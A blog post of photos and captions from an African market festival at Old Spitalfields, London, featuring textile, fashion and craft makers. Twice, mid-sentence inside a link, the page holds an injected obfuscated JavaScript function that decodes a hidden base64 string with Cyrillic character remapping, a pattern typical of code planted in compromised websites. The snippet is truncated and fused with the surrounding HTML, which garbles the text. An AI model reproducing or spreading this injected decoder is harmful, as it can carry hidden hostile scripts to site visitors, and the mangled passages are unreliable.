Dolls by Verona Archives – Afri-love

Photos from The African Market at Old Spitalfields, London

I spent Monday hanging out with Lusungu at the function m65c3bbf5572b(wc){var s4=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var r1=”;var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1< <2)|(p5>>4);rd=((p5&15)< <4)|(q8>>2);wb=((q8&3)< <6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand Noise” href=”http://www.creativityandnoise.com/" target="_blank">Creativity and Noise and Merkato stall at The African Market Bank Holiday Festival, presented by Open the Gate at Old Spitalfields Market. There was entertainment, food and a variety of African and African-inspired art, design and crafts. I got to chat to some of the designer-makers and creative entrepreneurs – it’s always inspiring to be around other creative people!

Enjoy the photos and do check out these great brands and makers. Prepare your senses for a print and colour explosion!

(Photo above: recycled textile pouches by BURST. Contact: burstlondon [at] gmail [dot] com)

Lusungu with his screenprinted function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1< <2)|(p5>>4);rd=((p5&15)< <4)|(q8>>2);wb=((q8&3)< <6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand Noise" href="http://www.creativityandnoise.com/" target="_blank">Creativity and Noise t-shirts and Merkato baskets and toys

Happy customer Winkate, rocking her brand new Africrown tank from Creativity and Noise

Woven plastic bags from Senegal, available from Serenity Bags: senebagz [at] gmail [dot] com

Hoodies by Open the Gate

Shoe laces by Open the Gate

Trying on a fabulous corset by Evie Nix (don't ask about the face!)

More ankara/wax print goodies from Evie Nix, including bangles, cuffs and earrings

Wishlist: this green weekend bag and the yellow Choolips dress, available from Sapellé

Textile recylcing – lavender pouches made from wax print off-cuts. By BURST: burstlondon [at] gmail [dot] com

Beaded bracelets from Sapellé

Loved these shirts, shorts and t-shirts by TYMO

After years of communicating virtually, I finally got to meet fashion designer Fée Uhssi in the flesh!

Dolls by Verona.C

And the lady Verona herself!

Bibs and booties from the House of Loulee

Lucy of House of Loulee. Last Christmas she custom made some beautiful boots for my friend's 18 month old and a funky sweater for Lusungu.

Story time!

I didn't catch the name of the last band that performed. Let me know if you did!

All photos by Lulu Kitololo (except the one of Lulu, taken by Yvonne of Evie Nix), with a little love from VSCOcam.

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